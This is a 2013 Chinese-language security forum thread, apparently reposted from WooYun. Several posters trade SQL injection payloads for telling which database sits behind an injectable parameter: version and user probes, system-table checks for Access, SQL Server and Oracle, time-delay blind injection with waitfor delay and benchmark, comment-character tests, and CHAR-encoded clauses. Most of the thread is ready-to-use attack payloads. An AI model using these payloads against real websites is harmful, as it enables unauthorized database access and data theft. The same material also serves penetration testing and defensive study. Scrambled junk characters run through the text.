找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2147|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库0 h5 ?& \  W5 ]; ~0 R9 o
xsser (十根阳具有长短!!) | 2013-02-05 12:364 e' w& l0 X3 U
假设这么一个注射点:# T+ a) d0 U/ A9 ~; f3 \( b
show.html?id=2, h# U3 n( s( M9 f2 i; j- C) y0 D
mysql:id=2 and version()>0
( [4 O) _3 l( O. Z; h7 {oracle:id=2 and '1'||'1'='11
& s# H3 @0 u+ O4 q: W% N$ K其他的欢迎补充
1 @' Y; j0 D8 H" {  M6 [4 W1#
3 @9 R( R% N5 F! g% Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47: j; g7 a1 b  C
Access:
  A8 C; H4 [. _7 X) x) B9 jaNd aSc(cHr(97))=97
+ q( K' p+ j: g: u$ Gand exists(select id from MSysAccessObjects)
" M7 y2 v+ n1 }2 }$ CSQL Server:( R& o) B; w; [) [3 w, R
and exists(select id from sysobjects)4 O( O1 G. n% x, u( [
and length(user)>0
3 U, @& D. K, Q5 }! ]4 NMySQL:0 [, h; o& O7 t1 G! L: }: \
and length(user())>0
$ }/ ?) k: c3 O0 P1 l2 {2#9 B/ O% R5 @1 _0 ]3 W8 D
xsser (十根阳具有长短!!) | 2013-02-05 12:480 G1 P% I/ Z! }0 ?) f9 @8 F
@upload 如果这些都不是呢…% b* [# [2 k6 r+ v5 j" a9 \( b
3#
$ ?1 i: q& q  Y3 }6 S. S( B( Kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
1 k7 }$ F9 w7 g1 J@xsser 不快速的,延时注入
$ Y' `! i* g" r: i& S6 T1 Q8 j. i2 {不知道这样写对不对
) ~* ]- y" }" z  Lmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
# b3 V4 K# M8 e+ r4 a, K" A  ]mysql:id=2 and select benchmark(1e8,current_date());
* [! r6 D; H. p4#& x% x, N, s) |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
$ z2 X6 O  c4 r$ _% H3 V. x6 p9 ]最快的貌似是看报错信息
+ H& a; l+ s* e$ M, Joracle error
1 s8 s4 s) ~3 {/ imssql error
: n! X+ H% C( B" B5 Vmysql error" `4 m, Z& t, C( d
5#
- E9 D+ X6 z0 J3 H2 Q" ?Nimda (你们都是坏银~) | 2013-02-05 13:14
5 U9 D6 {  X4 a" O% Q小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
: Z3 I6 Z3 }' |( b. f! U% H! o6#
5 P& g# q& D% N- Q1 m/ Y0 j! [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- d9 u( }) J+ P( H6 P% d% {“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:" b3 g5 y% V4 s
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:3 t% M, Y# U+ H5 p* \$ R- O2 {! _* {
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。4 a0 u7 s% G8 E% z2 P0 |$ f
7#" g5 I! l* N* @$ E6 ]" [: N# ^
_Evil (HackEnd) | 2013-02-05 13:33
0 y4 Z4 c: \2 U* ZPostgreSQL
( d0 x4 I  ]4 I: V8 F8#. l8 Z1 k, S3 u8 F# m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
% E5 T. @- Z& I" m. @9 h6 }切换编码 and 1=1
3 E$ f9 J/ x2 K; w9 Yoracle:
& b# P, O8 C/ n. l1 t4 y+ ]; lCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)! X: p  N2 C; v2 ~+ {2 _
mssql:" c3 e% d( N. t/ Y' l2 E6 e
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
2 v. I: ~0 b) ?; lmysql:# D; p6 o; a9 l2 K, e7 P7 L
CHAR(97, 110, 100, 32, 49, 61, 49)
( A2 F5 k( _* P) Z9#5 ^7 x8 X: y7 ?9 J+ f
xsser (十根阳具有长短!!) | 2013-02-05 14:31
5 u" m# |% w* z' |. ?@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?( {4 `' @/ [2 f& [  I/ N
10#
4 U+ w1 K1 b6 S+ b: @upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:464 n5 @/ ~$ K8 D  r5 j5 s$ T6 n
@xsser 是奇葩数据库类型的么?2 G/ C7 ?0 s! X; f  @
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& C! }' I7 g$ o, s" @5 G1 B
1.是否可以使用特定的函数来判断,该数据库特有的7 R9 U! u9 X& F7 W6 q: ]
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等. i4 I4 ]; P& o3 q0 l
3.是否可以编码查询! t2 r$ U3 k8 ]- P- j1 @
4.是否显可以利用错信息! `) e3 P3 T/ ^' h4 a. m
5.是否存在数据库某些特性辅助判断: T% @7 R7 c6 T- n8 p
个人见解
1 L7 p" o& w2 q, j' y5 `  m% b11#
- j: }* R! z' t- {  @小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:555 j/ \2 e! `% h3 x
已收藏,mssql可以直接看到错误提示的吧~& E* s, B+ \* u; Q; m, _
12## \3 _: Y2 C0 U% V* p: a6 f
Passer_by | 2013-02-05 15:09) `) A0 g' U& s) P4 J) k7 a% j
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。% D% P  l  l* @/ N. y
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表